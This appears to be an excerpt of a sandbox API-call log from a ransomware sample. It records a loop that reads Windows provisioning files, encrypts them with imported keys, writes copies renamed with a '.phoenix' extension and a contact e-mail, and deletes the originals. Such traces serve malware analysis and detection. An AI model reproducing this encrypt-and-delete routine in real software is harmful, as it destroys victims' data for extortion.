	[0257.799] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0257.799] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\672__Connections_Cellular_Dell (United Kingdom)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\672__connections_cellular_dell (united kingdom)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0257.800] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1511c0) returned 1
	[0257.800] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0257.800] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d8, lpOverlapped=0x0) returned 1
	[0257.801] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0257.801] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0257.802] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151140) returned 1
	[0257.803] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0257.803] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0257.803] CryptDestroyKey (hKey=0x151140) returned 1
	[0257.803] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0257.803] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0257.803] CloseHandle (hObject=0x2c0) returned 1
	[0257.803] CloseHandle (hObject=0x2d0) returned 1
	[0257.803] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\672__Connections_Cellular_Dell (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\672__connections_cellular_dell (united kingdom)_i0$(__mvid)@wap.provxml")) returned 1
	[0257.807] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0257.807] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\673__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\673__connections_cellular_lg u+ (korea)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0257.808] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=713) returned 1
	[0257.808] CloseHandle (hObject=0x2d0) returned 1
	[0257.808] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\673__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\673__connections_cellular_lg u+ (korea)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0257.808] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\673__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\673__connections_cellular_lg u+ (korea)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0257.808] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\673__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\673__connections_cellular_lg u+ (korea)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0257.809] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0257.809] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0257.809] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\673__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\673__connections_cellular_lg u+ (korea)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0257.809] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1513c0) returned 1
	[0257.809] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0257.810] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c9, lpOverlapped=0x0) returned 1
	[0257.813] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0257.813] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0257.814] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151740) returned 1
	[0257.814] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0257.814] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0257.814] CryptDestroyKey (hKey=0x151740) returned 1
	[0257.814] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0257.814] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0257.814] CloseHandle (hObject=0x2d0) returned 1
	[0257.814] CloseHandle (hObject=0x2c0) returned 1
	[0257.815] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\673__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\673__connections_cellular_lg u+ (korea)_i0$(__mvid)@wap.provxml")) returned 1
	[0257.816] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0257.816] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\674__Connections_Cellular_LG U+ (Korea)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\674__connections_cellular_lg u+ (korea)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0257.817] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=722) returned 1
	[0257.817] CloseHandle (hObject=0x2c0) returned 1
	[0257.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\674__Connections_Cellular_LG U+ (Korea)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\674__connections_cellular_lg u+ (korea)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0257.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\674__Connections_Cellular_LG U+ (Korea)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\674__connections_cellular_lg u+ (korea)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0257.817] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\674__Connections_Cellular_LG U+ (Korea)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\674__connections_cellular_lg u+ (korea)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0257.817] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0257.817] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0257.817] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\674__Connections_Cellular_LG U+ (Korea)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\674__connections_cellular_lg u+ (korea)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0257.818] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151200) returned 1
	[0257.818] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0257.818] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d2, lpOverlapped=0x0) returned 1
	[0257.821] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0257.821] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0257.822] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151300) returned 1
	[0257.823] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0257.823] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0257.823] CryptDestroyKey (hKey=0x151300) returned 1
	[0257.823] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0257.823] CryptDestroyKey (hKey=0x151200) returned 1
	[0257.823] CloseHandle (hObject=0x2c0) returned 1
	[0257.823] CloseHandle (hObject=0x2d0) returned 1
	[0257.823] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\674__Connections_Cellular_LG U+ (Korea)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\674__connections_cellular_lg u+ (korea)_i1$(__mvid)@wap.provxml")) returned 1
	[0257.824] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0257.824] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\675__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\675__connections_cellular_lg u+ (korea)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0257.825] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=721) returned 1
	[0257.825] CloseHandle (hObject=0x2d0) returned 1
	[0257.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\675__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\675__connections_cellular_lg u+ (korea)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0257.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\675__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\675__connections_cellular_lg u+ (korea)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0257.825] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\675__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\675__connections_cellular_lg u+ (korea)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0257.825] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0257.825] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0257.825] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\675__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\675__connections_cellular_lg u+ (korea)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0257.826] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151140) returned 1
	[0257.826] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0257.826] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d1, lpOverlapped=0x0) returned 1
	[0257.828] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0257.828] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0257.829] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151040) returned 1
	[0257.829] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0257.829] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0257.829] CryptDestroyKey (hKey=0x151040) returned 1
	[0257.829] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0257.829] CryptDestroyKey (hKey=0x151140) returned 1
	[0257.829] CloseHandle (hObject=0x2d0) returned 1
	[0257.830] CloseHandle (hObject=0x2c0) returned 1
	[0257.830] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\675__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\675__connections_cellular_lg u+ (korea)_i0$(__mvid)@wap.provxml")) returned 1
	[0257.831] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0257.831] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\676__Connections_Cellular_Lenovo (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\676__connections_cellular_lenovo (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0257.832] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=723) returned 1
	[0257.832] CloseHandle (hObject=0x2c0) returned 1
	[0257.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\676__Connections_Cellular_Lenovo (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\676__connections_cellular_lenovo (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0257.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\676__Connections_Cellular_Lenovo (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\676__connections_cellular_lenovo (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0257.832] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\676__Connections_Cellular_Lenovo (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\676__connections_cellular_lenovo (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0257.832] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0257.832] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0257.832] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\676__Connections_Cellular_Lenovo (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\676__connections_cellular_lenovo (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0257.833] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151040) returned 1
	[0257.833] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0257.833] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d3, lpOverlapped=0x0) returned 1
	[0257.879] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0257.879] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0257.880] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151340) returned 1
	[0257.880] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
